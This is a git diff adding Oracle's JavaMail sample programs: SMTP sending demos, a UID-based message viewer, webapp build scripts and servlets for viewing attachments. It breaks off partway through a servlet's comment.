System.out.flush(); + subject = in.readLine(); + } else { + System.out.println("Subject: " + subject); + } + + /* + * Initialize the JavaMail Session. + */ + Properties props = System.getProperties(); + if (mailhost != null) + props.put("mail." + prot + ".host", mailhost); + if (auth) + props.put("mail." + prot + ".auth", "true"); + + /* + * Create a Provider representing our extended SMTP transport + * and set the property to use our provider. + * + Provider p = new Provider(Provider.Type.TRANSPORT, prot, + "smtpsend$SMTPExtension", "JavaMail demo", "no version"); + props.put("mail." + prot + ".class", "smtpsend$SMTPExtension"); + */ + + // Get a Session object + Session session = Session.getInstance(props, null); + if (debug) + session.setDebug(true); + + /* + * Register our extended SMTP transport. + * + session.addProvider(p); + */ + + /* + * Construct the message and send it. + */ + Message msg = new MimeMessage(session); + if (from != null) + msg.setFrom(new InternetAddress(from)); + else + msg.setFrom(); + + msg.setRecipients(Message.RecipientType.TO, + InternetAddress.parse(to, false)); + if (cc != null) + msg.setRecipients(Message.RecipientType.CC, + InternetAddress.parse(cc, false)); + if (bcc != null) + msg.setRecipients(Message.RecipientType.BCC, + InternetAddress.parse(bcc, false)); + + msg.setSubject(subject); + + String text = collect(in); + + if (file != null) { + // Attach the specified file. + // We need a multipart message to hold the attachment. + MimeBodyPart mbp1 = new MimeBodyPart(); + mbp1.setText(text); + MimeBodyPart mbp2 = new MimeBodyPart(); + mbp2.attachFile(file); + MimeMultipart mp = new MimeMultipart(); + mp.addBodyPart(mbp1); + mp.addBodyPart(mbp2); + msg.setContent(mp); + } else { + // If the desired charset is known, you can use + // setText(text, charset) + msg.setText(text); + } + + msg.setHeader("X-Mailer", mailer); + msg.setSentDate(new Date()); + + // send the thing off + /* + * The simple way to send a message is this: + * + Transport.send(msg); + * + * But we're going to use some SMTP-specific features for + * demonstration purposes so we need to manage the Transport + * object explicitly. + */ + SMTPTransport t = + (SMTPTransport)session.getTransport(prot); + try { + if (auth) + t.connect(mailhost, user, password); + else + t.connect(); + t.sendMessage(msg, msg.getAllRecipients()); + } finally { + if (verbose) + System.out.println("Response: " + + t.getLastServerResponse()); + t.close(); + } + + System.out.println("\nMail was sent successfully."); + + /* + * Save a copy of the message, if requested. + */ + if (record != null) { + // Get a Store object + Store store = null; + if (url != null) { + URLName urln = new URLName(url); + store = session.getStore(urln); + store.connect(); + } else { + if (protocol != null) + store = session.getStore(protocol); + else + store = session.getStore(); + + // Connect + if (host != null || user != null || password != null) + store.connect(host, user, password); + else + store.connect(); + } + + // Get record Folder. Create if it does not exist. + Folder folder = store.getFolder(record); + if (folder == null) { + System.err.println("Can't get record folder."); + System.exit(1); + } + if (!folder.exists()) + folder.create(Folder.HOLDS_MESSAGES); + + Message[] msgs = new Message[1]; + msgs[0] = msg; + folder.appendMessages(msgs); + + System.out.println("Mail was recorded successfully."); + } + + } catch (Exception e) { + /* + * Handle SMTP-specific exceptions. + */ + if (e instanceof SendFailedException) { + MessagingException sfe = (MessagingException)e; + if (sfe instanceof SMTPSendFailedException) { + SMTPSendFailedException ssfe = + (SMTPSendFailedException)sfe; + System.out.println("SMTP SEND FAILED:"); + if (verbose) + System.out.println(ssfe.toString()); + System.out.println(" Command: " + ssfe.getCommand()); + System.out.println(" RetCode: " + ssfe.getReturnCode()); + System.out.println(" Response: " + ssfe.getMessage()); + } else { + if (verbose) + System.out.println("Send failed: " + sfe.toString()); + } + Exception ne; + while ((ne = sfe.getNextException()) != null && + ne instanceof MessagingException) { + sfe = (MessagingException)ne; + if (sfe instanceof SMTPAddressFailedException) { + SMTPAddressFailedException ssfe = + (SMTPAddressFailedException)sfe; + System.out.println("ADDRESS FAILED:"); + if (verbose) + System.out.println(ssfe.toString()); + System.out.println(" Address: " + ssfe.getAddress()); + System.out.println(" Command: " + ssfe.getCommand()); + System.out.println(" RetCode: " + ssfe.getReturnCode()); + System.out.println(" Response: " + ssfe.getMessage()); + } else if (sfe instanceof SMTPAddressSucceededException) { + System.out.println("ADDRESS SUCCEEDED:"); + SMTPAddressSucceededException ssfe = + (SMTPAddressSucceededException)sfe; + if (verbose) + System.out.println(ssfe.toString()); + System.out.println(" Address: " + ssfe.getAddress()); + System.out.println(" Command: " + ssfe.getCommand()); + System.out.println(" RetCode: " + ssfe.getReturnCode()); + System.out.println(" Response: " + ssfe.getMessage()); + } + } + } else { + System.out.println("Got Exception: " + e); + if (verbose) + e.printStackTrace(); + } + } + } + + /** + * Read the body of the message until EOF. + */ + public static String collect(BufferedReader in) throws IOException { + String line; + StringBuffer sb = new StringBuffer(); + while ((line = in.readLine()) != null) { + sb.append(line); + sb.append("\n"); + } + return sb.toString(); + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/transport.java b/src/Java/Jars/javamail-samples/javamail-samples/transport.java new file mode 100644 index 0000000..16d272e --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/transport.java @@ -0,0 +1,233 @@ +/* + * Copyright (c) 1997-2011 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.util.*; +import javax.mail.*; +import javax.mail.internet.*; +import javax.mail.event.*; +import javax.activation.*; + +/** + * transport is a simple program that creates a message, explicitly + * retrieves a Transport from the session based on the type of the + * address (it's InternetAddress, so SMTP will be used) and sends + * the message. + * + * usage: java transport "toaddr1[, toaddr2]*" from smtphost + * true|false
+ * where to and from are the destination and + * origin email addresses, respectively, and smtphost + * is the hostname of the machine that has the smtp server + * running. The to addresses can be either a single email + * address or a comma-separated list of email addresses in + * quotes, i.e. "joe@machine, jane, max@server.com" + * The last parameter either turns on or turns off + * debugging during sending. + * + * @author Max Spivak + */ +public class transport implements ConnectionListener, TransportListener { + static String msgText = "This is a message body.\nHere's the second line."; + static String msgText2 = "\nThis was sent by transport.java demo program."; + + public static void main(String[] args) { + Properties props = System.getProperties(); + // parse the arguments + InternetAddress[] addrs = null; + InternetAddress from; + boolean debug = false; + if (args.length != 4) { + usage(); + return; + } else { + props.put("mail.smtp.host", args[2]); + if (args[3].equals("true")) { + debug = true; + } else if (args[3].equals("false")) { + debug = false; + } else { + usage(); + return; + } + + // parse the destination addresses + try { + addrs = InternetAddress.parse(args[0], false); + from = new InternetAddress(args[1]); + } catch (AddressException aex) { + System.out.println("Invalid Address"); + aex.printStackTrace(); + return; + } + } + // create some properties and get a Session + Session session = Session.getInstance(props, null); + session.setDebug(debug); + + transport t = new transport(); + t.go(session, addrs, from); + } + + public transport() {} + + public void go(Session session, InternetAddress[] toAddr, + InternetAddress from) { + Transport trans = null; + + try { + // create a message + Message msg = new MimeMessage(session); + msg.setFrom(from); + msg.setRecipients(Message.RecipientType.TO, toAddr); + msg.setSubject("JavaMail APIs transport.java Test"); + msg.setSentDate(new Date()); // Date: header + msg.setContent(msgText+msgText2, "text/plain"); + msg.saveChanges(); + + // get the smtp transport for the address + trans = session.getTransport(toAddr[0]); + + // register ourselves as listener for ConnectionEvents + // and TransportEvents + trans.addConnectionListener(this); + trans.addTransportListener(this); + + // connect the transport + trans.connect(); + + // send the message + trans.sendMessage(msg, toAddr); + + // give the EventQueue enough time to fire its events + try {Thread.sleep(5);}catch(InterruptedException e) {} + + } catch (MessagingException mex) { + // give the EventQueue enough time to fire its events + try {Thread.sleep(5);}catch(InterruptedException e) {} + + System.out.println("Sending failed with exception:"); + mex.printStackTrace(); + System.out.println(); + Exception ex = mex; + do { + if (ex instanceof SendFailedException) { + SendFailedException sfex = (SendFailedException)ex; + Address[] invalid = sfex.getInvalidAddresses(); + if (invalid != null) { + System.out.println(" ** Invalid Addresses"); + for (int i = 0; i < invalid.length; i++) + System.out.println(" " + invalid[i]); + } + Address[] validUnsent = sfex.getValidUnsentAddresses(); + if (validUnsent != null) { + System.out.println(" ** ValidUnsent Addresses"); + for (int i = 0; i < validUnsent.length; i++) + System.out.println(" "+validUnsent[i]); + } + Address[] validSent = sfex.getValidSentAddresses(); + if (validSent != null) { + System.out.println(" ** ValidSent Addresses"); + for (int i = 0; i < validSent.length; i++) + System.out.println(" "+validSent[i]); + } + } + System.out.println(); + if (ex instanceof MessagingException) + ex = ((MessagingException)ex).getNextException(); + else + ex = null; + } while (ex != null); + } finally { + try { + // close the transport + if (trans != null) + trans.close(); + } catch (MessagingException mex) { /* ignore */ } + } + } + + // implement ConnectionListener interface + public void opened(ConnectionEvent e) { + System.out.println(">>> ConnectionListener.opened()"); + } + public void disconnected(ConnectionEvent e) {} + public void closed(ConnectionEvent e) { + System.out.println(">>> ConnectionListener.closed()"); + } + + // implement TransportListener interface + public void messageDelivered(TransportEvent e) { + System.out.println(">>> TransportListener.messageDelivered()."); + System.out.println(" Valid Addresses:"); + Address[] valid = e.getValidSentAddresses(); + if (valid != null) { + for (int i = 0; i < valid.length; i++) + System.out.println(" " + valid[i]); + } + } + public void messageNotDelivered(TransportEvent e) { + System.out.println(">>> TransportListener.messageNotDelivered()."); + System.out.println(" Invalid Addresses:"); + Address[] invalid = e.getInvalidAddresses(); + if (invalid != null) { + for (int i = 0; i < invalid.length; i++) + System.out.println(" " + invalid[i]); + } + } + public void messagePartiallyDelivered(TransportEvent e) { + System.out.println(">>> TransportListener.messagePartiallyDelivered()."); + System.out.println(" Valid Addresses:"); + Address[] valid = e.getValidSentAddresses(); + if (valid != null) { + for (int i = 0; i < valid.length; i++) + System.out.println(" " + valid[i]); + } + System.out.println(" Valid Unsent Addresses:"); + Address[] unsent = e.getValidUnsentAddresses(); + if (unsent != null) { + for (int i = 0; i < unsent.length; i++) + System.out.println(" " + unsent[i]); + } + System.out.println(" Invalid Addresses:"); + Address[] invalid = e.getInvalidAddresses(); + if (invalid != null) { + for (int i = 0; i < invalid.length; i++) + System.out.println(" " + invalid[i]); + } + } + + private static void usage() { + System.out.println( + "usage: java transport \"[, ]*\" true|false"); + System.out.println( + "example: java transport \"joe@machine, jane\" senderaddr smtphost false"); + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/uidmsgshow.java b/src/Java/Jars/javamail-samples/javamail-samples/uidmsgshow.java new file mode 100644 index 0000000..805f029 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/uidmsgshow.java @@ -0,0 +1,308 @@ +/* + * Copyright (c) 1997-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.util.*; +import java.io.*; +import javax.mail.*; +import javax.mail.internet.*; +import javax.activation.*; + +/* + * Demo app that exercises the Message interfaces. + * Access message given its UID. + * Show information about and contents of messages. + * + * @author John Mani + * @author Bill Shannon + */ + +public class uidmsgshow { + + static String protocol; + static String host = null; + static String user = null; + static String password = null; + static String mbox = "INBOX"; + static String url = null; + static boolean verbose = false; + + public static void main(String argv[]) { + long uid = -1; + int optind; + + for (optind = 0; optind < argv.length; optind++) { + if (argv[optind].equals("-T")) { + protocol = argv[++optind]; + } else if (argv[optind].equals("-H")) { + host = argv[++optind]; + } else if (argv[optind].equals("-U")) { + user = argv[++optind]; + } else if (argv[optind].equals("-P")) { + password = argv[++optind]; + } else if (argv[optind].equals("-v")) { + verbose = true; + } else if (argv[optind].equals("-f")) { + mbox = argv[++optind]; + } else if (argv[optind].equals("-L")) { + url = argv[++optind]; + } else if (argv[optind].equals("--")) { + optind++; + break; + } else if (argv[optind].startsWith("-")) { + System.out.println("Usage: uidmsgshow [-L url] [-T protocol] [-H host] [-U user] [-P password] [-f mailbox] [uid] [-v]"); + System.exit(1); + } else { + break; + } + } + + try { + if (optind < argv.length) + uid = Long.parseLong(argv[optind]); + + // Get a Properties object + Properties props = System.getProperties(); + + // Get a Session object + Session session = Session.getInstance(props, null); + // session.setDebug(true); + + // Get a Store object + Store store = null; + if (url != null) { + URLName urln = new URLName(url); + store = session.getStore(urln); + store.connect(); + } else { + if (protocol != null) + store = session.getStore(protocol); + else + store = session.getStore(); + + // Connect + if (host != null || user != null || password != null) + store.connect(host, user, password); + else + store.connect(); + } + + + // Open the Folder + + Folder folder = store.getDefaultFolder(); + if (folder == null) { + System.out.println("No default folder"); + System.exit(1); + } + + folder = folder.getFolder(mbox); + if (!folder.exists()) { + System.out.println(mbox + " does not exist"); + System.exit(1); + } + + if (!(folder instanceof UIDFolder)) { + System.out.println( + "This Provider or this folder does not support UIDs"); + System.exit(1); + } + + UIDFolder ufolder = (UIDFolder)folder; + + folder.open(Folder.READ_WRITE); + int totalMessages = folder.getMessageCount(); + + if (totalMessages == 0) { + System.out.println("Empty folder"); + folder.close(false); + store.close(); + System.exit(1); + } + + if (verbose) { + int newMessages = folder.getNewMessageCount(); + System.out.println("Total messages = " + totalMessages); + System.out.println("New messages = " + newMessages); + System.out.println("-------------------------------"); + } + + if (uid == -1) { + // Attributes & Flags for ALL messages .. + Message[] msgs = + ufolder.getMessagesByUID(1, UIDFolder.LASTUID); + + // Use a suitable FetchProfile + FetchProfile fp = new FetchProfile(); + fp.add(FetchProfile.Item.ENVELOPE); + fp.add(FetchProfile.Item.FLAGS); + fp.add("X-Mailer"); + folder.fetch(msgs, fp); + + for (int i = 0; i < msgs.length; i++) { + System.out.println("--------------------------"); + System.out.println("MESSAGE UID #" + + ufolder.getUID(msgs[i]) + ":"); + dumpEnvelope(msgs[i]); + // dumpPart(msgs[i]); + } + } else { + System.out.println("Getting message UID: " + uid); + Message m = ufolder.getMessageByUID(uid); + if (m != null) + dumpPart(m); + else + System.out.println( + "This Message does not exist on this folder"); + } + + folder.close(false); + store.close(); + } catch (Exception ex) { + System.out.println("Oops, got exception! " + ex.getMessage()); + ex.printStackTrace(); + } + System.exit(1); + } + + public static void dumpPart(Part p) throws Exception { + if (p instanceof Message) + dumpEnvelope((Message)p); + + /* Dump input stream + InputStream is = new BufferedInputStream(p.getInputStream()); + int c; + while ((c = is.read()) != -1) + System.out.write(c); + */ + + System.out.println("CONTENT-TYPE: " + p.getContentType()); + + Object o = p.getContent(); + if (o instanceof String) { + System.out.println("This is a String"); + System.out.println("---------------------------"); + System.out.println((String)o); + } else if (o instanceof Multipart) { + System.out.println("This is a Multipart"); + System.out.println("---------------------------"); + Multipart mp = (Multipart)o; + int count = mp.getCount(); + for (int i = 0; i < count; i++) + dumpPart(mp.getBodyPart(i)); + } else if (o instanceof Message) { + System.out.println("This is a Nested Message"); + System.out.println("---------------------------"); + dumpPart((Part)o); + } else if (o instanceof InputStream) { + System.out.println("This is just an input stream"); + System.out.println("---------------------------"); + InputStream is = (InputStream)o; + int c; + while ((c = is.read()) != -1) + System.out.write(c); + } + } + + public static void dumpEnvelope(Message m) throws Exception { + System.out.println("This is the message envelope"); + System.out.println("---------------------------"); + Address[] a; + // FROM + if ((a = m.getFrom()) != null) { + for (int j = 0; j < a.length; j++) + System.out.println("FROM: " + a[j].toString()); + } + + // TO + if ((a = m.getRecipients(Message.RecipientType.TO)) != null) { + for (int j = 0; j < a.length; j++) + System.out.println("TO: " + a[j].toString()); + } + + // SUBJECT + System.out.println("SUBJECT: " + m.getSubject()); + + // DATE + Date d = m.getSentDate(); + System.out.println("SendDate: " + + (d != null ? d.toString() : "UNKNOWN")); + + // SIZE + System.out.println("Size: " + m.getSize()); + + // FLAGS: + Flags flags = m.getFlags(); + StringBuffer sb = new StringBuffer(); + Flags.Flag[] sf = flags.getSystemFlags(); // get the system flags + + boolean first = true; + for (int i = 0; i < sf.length; i++) { + String s; + Flags.Flag f = sf[i]; + if (f == Flags.Flag.ANSWERED) + s = "\\Answered"; + else if (f == Flags.Flag.DELETED) + s = "\\Deleted"; + else if (f == Flags.Flag.DRAFT) + s = "\\Draft"; + else if (f == Flags.Flag.FLAGGED) + s = "\\Flagged"; + else if (f == Flags.Flag.RECENT) + s = "\\Recent"; + else if (f == Flags.Flag.SEEN) + s = "\\Seen"; + else + continue; // skip it + if (first) + first = false; + else + sb.append(' '); + sb.append(s); + } + + String[] uf = flags.getUserFlags(); // get the user flag strings + for (int i = 0; i < uf.length; i++) { + if (first) + first = false; + else + sb.append(' '); + sb.append(uf[i]); + } + System.out.println("FLAGS = " + sb.toString()); + + // X-MAILER + String[] hdrs = m.getHeader("X-Mailer"); + if (hdrs != null) + System.out.println("X-Mailer: " + hdrs[0]); + else + System.out.println("X-Mailer NOT available"); + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/build.bat b/src/Java/Jars/javamail-samples/javamail-samples/webapp/build.bat new file mode 100644 index 0000000..b68e59e --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/build.bat @@ -0,0 +1,57 @@ +@echo off +REM +REM Copyright (c) 2010-2011 Oracle and/or its affiliates. All rights reserved. +REM +REM Redistribution and use in source and binary forms, with or without +REM modification, are permitted provided that the following conditions +REM are met: +REM +REM - Redistributions of source code must retain the above copyright +REM notice, this list of conditions and the following disclaimer. +REM +REM - Redistributions in binary form must reproduce the above copyright +REM notice, this list of conditions and the following disclaimer in the +REM documentation and/or other materials provided with the distribution. +REM +REM - Neither the name of Oracle nor the names of its +REM contributors may be used to endorse or promote products derived +REM from this software without specific prior written permission. +REM +REM THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS +REM IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, +REM THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +REM PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +REM CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +REM EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +REM PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +REM PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +REM LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +REM NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +REM SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +REM +mkdir src\docroot\WEB-INF\classes +mkdir src\docroot\WEB-INF\classes\demo +mkdir src\docroot\WEB-INF\lib +cd src\classes +echo compiling classes directory +javac -d ..\docroot\WEB-INF\classes demo\*.java +cd ..\taglib +echo compiling lib directory +javac -classpath "..\docroot\WEB-INF\classes;%CLASSPATH%" demo\*.java +echo creating tag library archive +jar cvf ..\docroot\WEB-INF\lib\taglib.jar META-INF demo\*.class +del demo\*.class +cd ..\docroot +echo creating web archive +jar cvf ..\..\javamail.war index.html *.jsp WEB-INF +cd WEB-INF\classes\demo +del *.* +cd .. +rmdir demo +cd .. +rmdir classes +cd lib +del *.* +cd .. +rmdir lib +cd ..\..\.. diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/build.sh b/src/Java/Jars/javamail-samples/javamail-samples/webapp/build.sh new file mode 100644 index 0000000..1030b41 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/build.sh @@ -0,0 +1,48 @@ +# +# Copyright (c) 2010-2011 Oracle and/or its affiliates. All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: +# +# - Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# +# - Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# +# - Neither the name of Oracle nor the names of its +# contributors may be used to endorse or promote products derived +# from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS +# IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, +# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +# + +mkdir src/docroot/WEB-INF/classes +mkdir src/docroot/WEB-INF/lib +cd src/classes +echo "compiling classes directory" +javac -d ../docroot/WEB-INF/classes demo/*.java +cd ../taglib +echo "compiling lib directroy" +javac -classpath ../docroot/WEB-INF/classes:$CLASSPATH demo/*.java +echo "creating tag library archive" +jar cvf ../docroot/WEB-INF/lib/taglib.jar META-INF demo/*.class +rm demo/*.class +cd ../docroot +echo "creating web archive" +jar cvf ../../javamail.war index.html *.jsp WEB-INF +rm -r WEB-INF/classes +rm -r WEB-INF/lib +cd ../.. diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/javamail.war b/src/Java/Jars/javamail-samples/javamail-samples/webapp/javamail.war new file mode 100644 index 0000000..4ca0997 Binary files /dev/null and b/src/Java/Jars/javamail-samples/javamail-samples/webapp/javamail.war differ diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/classes/demo/AttachmentServlet.java b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/classes/demo/AttachmentServlet.java new file mode 100644 index 0000000..365ab88 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/classes/demo/AttachmentServlet.java @@ -0,0 +1,95 @@ +/* + * Copyright (c) 2001-2011 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package demo; + +import java.io.*; +import javax.mail.*; +import javax.mail.internet.*; +import javax.servlet.*; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; + +/** + * This servlet gets the input stream for a given msg part and + * pushes it out to the browser with the correct content type. + * Used to display attachments and relies on the browser's + * content handling capabilities. + */ +public class AttachmentServlet extends HttpServlet { + + /** + * This method handles the GET requests from the client. + */ + public void doGet(HttpServletRequest request, HttpServletResponse response) + throws IOException, ServletException { + + HttpSession session = request.getSession(); + ServletOutputStream out = response.getOutputStream(); + int msgNum = Integer.parseInt(request.getParameter("message")); + int partNum = Integer.parseInt(request.getParameter("part")); + MailUserBean mailuser = (MailUserBean)session.getAttribute("mailuser"); + + // check to be sure we're still logged in + if (mailuser.isLoggedIn()) { + try { + Message msg = mailuser.getFolder().getMessage(msgNum); + + Multipart multipart = (Multipart)msg.getContent(); + Part part = multipart.getBodyPart(partNum); + + String sct = part.getContentType(); + if (sct == null) { + out.println("invalid part"); + return; + } + ContentType ct = new ContentType(sct); + + response.setContentType(ct.getBaseType()); + InputStream is = part.getInputStream(); + int i; + while ((i = is.read()) != -1) + out.write(i); + out.flush(); + out.close(); + + } catch (MessagingException ex) { + throw new ServletException(ex.getMessage()); + } + } else { + getServletConfig().getServletContext(). + getRequestDispatcher("/index.html"). + forward(request, response); + } + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/classes/demo/FilterServlet.java b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/classes/demo/FilterServlet.java new file mode 100644 index 0000000..5cfe73d --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/webapp/src/classes/demo/FilterServlet.java @@ -0,0 +1,83 @@ +/* + * Copyright (c) 2001-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +package demo; + +import java.io.*; +import javax.servlet.*; +import javax.servlet.http.*; + +/** + * This servlet is used to determine whether the user is logged in before + * forwarding the request to the selected 